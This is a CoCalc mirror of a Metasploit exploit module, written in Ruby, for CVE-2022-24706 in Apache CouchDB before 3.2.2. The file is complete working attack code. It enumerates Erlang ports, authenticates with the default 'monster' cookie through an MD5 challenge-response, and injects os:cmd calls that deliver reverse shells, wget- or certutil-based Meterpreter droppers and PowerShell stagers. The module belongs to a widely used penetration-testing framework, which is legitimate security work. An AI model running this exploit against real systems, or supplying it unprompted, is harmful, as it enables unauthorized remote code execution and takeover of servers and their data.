CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_couchdb_erlang_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Retry
12
include Msf::Exploit::Powershell
13
prepend Msf::Exploit::Remote::AutoCheck
14
require 'msf/core/exploit/powershell'
15
require 'digest'
16
17
# Constants required for communicating over the Erlang protocol defined here:
18
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
19
EPM_NAME_CMD = "\x00\x01\x6e".freeze
20
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
21
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
22
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
23
COOKIE = 'monster'.freeze
24
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze
25
26
def initialize(info = {})
27
super(
28
update_info(
29
info,
30
'Name' => 'Apache Couchdb Erlang RCE',
31
'Description' => %q{
32
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
33
authenticating and gain admin privileges.
34
},
35
'Author' => [
36
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
37
'1F98D', # Erlang Cookie RCE exploit
38
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit
39
'_sadshade', # Apache CouchDB Erlang Cookie exploit
40
'jheysel-r7', # Msf Module
41
],
42
'References' => [
43
[ 'EDB', '49418' ],
44
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
45
[ 'CVE', '2022-24706'],
46
],
47
'License' => MSF_LICENSE,
48
'Platform' => ['win', 'linux'],
49
'Payload' => {
50
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
51
},
52
'Privileged' => false,
53
'Arch' => [ ARCH_CMD ],
54
'Targets' => [
55
[
56
'Unix Command',
57
{
58
'Platform' => 'unix',
59
'Arch' => ARCH_CMD,
60
'Type' => :unix_cmd,
61
'DefaultOptions' => {
62
'PAYLOAD' => 'cmd/unix/reverse_openssl'
63
}
64
}
65
],
66
[
67
'Linux Dropper',
68
{
69
'Platform' => 'linux',
70
'Arch' => [ARCH_X86, ARCH_X64],
71
'Type' => :linux_dropper,
72
'CmdStagerFlavor' => :wget,
73
'DefaultOptions' => {
74
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
75
}
76
}
77
],
78
[
79
'Windows Command',
80
{
81
'Platform' => 'win',
82
'Arch' => ARCH_CMD,
83
'Type' => :win_cmd,
84
'DefaultOptions' => {
85
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
86
}
87
}
88
],
89
[
90
'Windows Dropper',
91
{
92
'Arch' => [ARCH_X86, ARCH_X64],
93
'Type' => :win_dropper,
94
'CmdStagerFlavor' => :certutil,
95
'DefaultOptions' => {
96
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
97
}
98
}
99
],
100
[
101
'PowerShell Stager',
102
{
103
'Arch' => [ARCH_X86, ARCH_X64],
104
'Type' => :psh_stager,
105
'CmdStagerFlavor' => :certutil,
106
'DefaultOptions' => {
107
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
108
}
109
}
110
]
111
],
112
'DefaultTarget' => 0,
113
'DisclosureDate' => '2022-01-21',
114
'Notes' => {
115
'Stability' => [CRASH_SAFE],
116
'Reliability' => [REPEATABLE_SESSION],
117
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
118
}
119
)
120
)
121
122
register_options(
123
[
124
Opt::RPORT(4369)
125
]
126
)
127
end
128
129
def check
130
erlang_ports = get_erlang_ports
131
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
132
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?
133
134
erlang_ports.each do |erlang_port|
135
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
136
# successful and the target as well as the specific socket used in this instance is vulnerable
137
sock = connect_to_erlang_server(erlang_port.to_i)
138
if sock.instance_of?(Socket)
139
@vulnerable_socket = sock
140
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
141
else
142
next
143
end
144
end
145
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
146
end
147
148
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
149
#
150
# @return [Array] An array of port numbers for discovered Erlang Servers.
151
def get_erlang_ports
152
erlang_ports = []
153
begin
154
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
155
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
156
# request Erlang nodes
157
sock.put(EPM_NAME_CMD)
158
sleep datastore['WfsDelay']
159
res = sock.get_once
160
unless res && res.include?("\x00\x00\x11\x11name couchdb")
161
print_error('Did not find any Erlang nodes')
162
return erlang_ports
163
end
164
165
print_status('Successfully found EDPM socket')
166
res.each_line do |line|
167
erlang_ports << line.match(/\s(\d+$)/)[0]
168
end
169
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
170
print_error("Error connecting to EDPM: #{e.class} #{e}")
171
disconnect
172
return erlang_ports
173
end
174
erlang_ports
175
end
176
177
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
178
# default erlang cookie value in Apache CouchDB installations before 3.2.2
179
#
180
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
181
def connect_to_erlang_server(erlang_port)
182
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
183
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
184
print_status('Connection successful')
185
challenge = retry_until_truthy(timeout: 60) do
186
sock.put(NAME_MSG)
187
sock.get_once(5) # ok message
188
sock.get_once
189
end
190
# The expected successful response from the target should start with \x00\x1C
191
unless challenge && challenge.include?("\x00\x1C")
192
print_error('Connecting to the Erlang server was unsuccessful')
193
return
194
end
195
196
challenge = challenge[9..12].unpack('N*')[0]
197
challenge_reply = "\x00\x15r\x01\x02\x03\x04"
198
md5 = Digest::MD5.new
199
md5.update(COOKIE + challenge.to_s)
200
challenge_reply << [md5.hexdigest].pack('H*')
201
sock.put(challenge_reply)
202
sleep datastore['WfsDelay']
203
challenge_response = sock.get_once
204
205
if challenge_response.nil?
206
print_error('Authentication was unsuccessful')
207
return
208
end
209
print_status('Erlang challenge and response completed successfully')
210
211
sock
212
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
213
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
214
disconnect
215
return
216
end
217
218
def compile_cmd(cmd)
219
msg = ''
220
msg << COMMAND_PREFIX
221
msg << [cmd.length].pack('S>')
222
msg << cmd
223
msg << "jw\x04user"
224
payload = ("\x70" + CTRL_DATA + msg)
225
([payload.size].pack('N*') + payload)
226
end
227
228
def execute_command(cmd, opts = {})
229
payload = compile_cmd(cmd)
230
print_status('Sending payload... ')
231
opts[:sock].put(payload)
232
sleep datastore['WfsDelay']
233
end
234
235
def exploit_socket(sock)
236
case target['Type']
237
when :unix_cmd, :win_cmd
238
execute_command(payload.encoded, { sock: sock })
239
when :linux_dropper, :win_dropper
240
execute_cmdstager({ sock: sock })
241
when :psh_stager
242
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
243
else
244
fail_with(Failure::BadConfig, 'Invalid target specified')
245
end
246
end
247
248
def exploit
249
# If the check method has already been run, use the vulnerable socket that has already been identified
250
if @vulnerable_socket
251
exploit_socket(@vulnerable_socket)
252
else
253
erlang_ports = get_erlang_ports
254
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)
255
256
erlang_ports.each do |erlang_port|
257
sock = connect_to_erlang_server(erlang_port.to_i)
258
next unless sock.instance_of?(Socket)
259
260
exploit_socket(sock)
261
end
262
end
263
end
264
end
265
266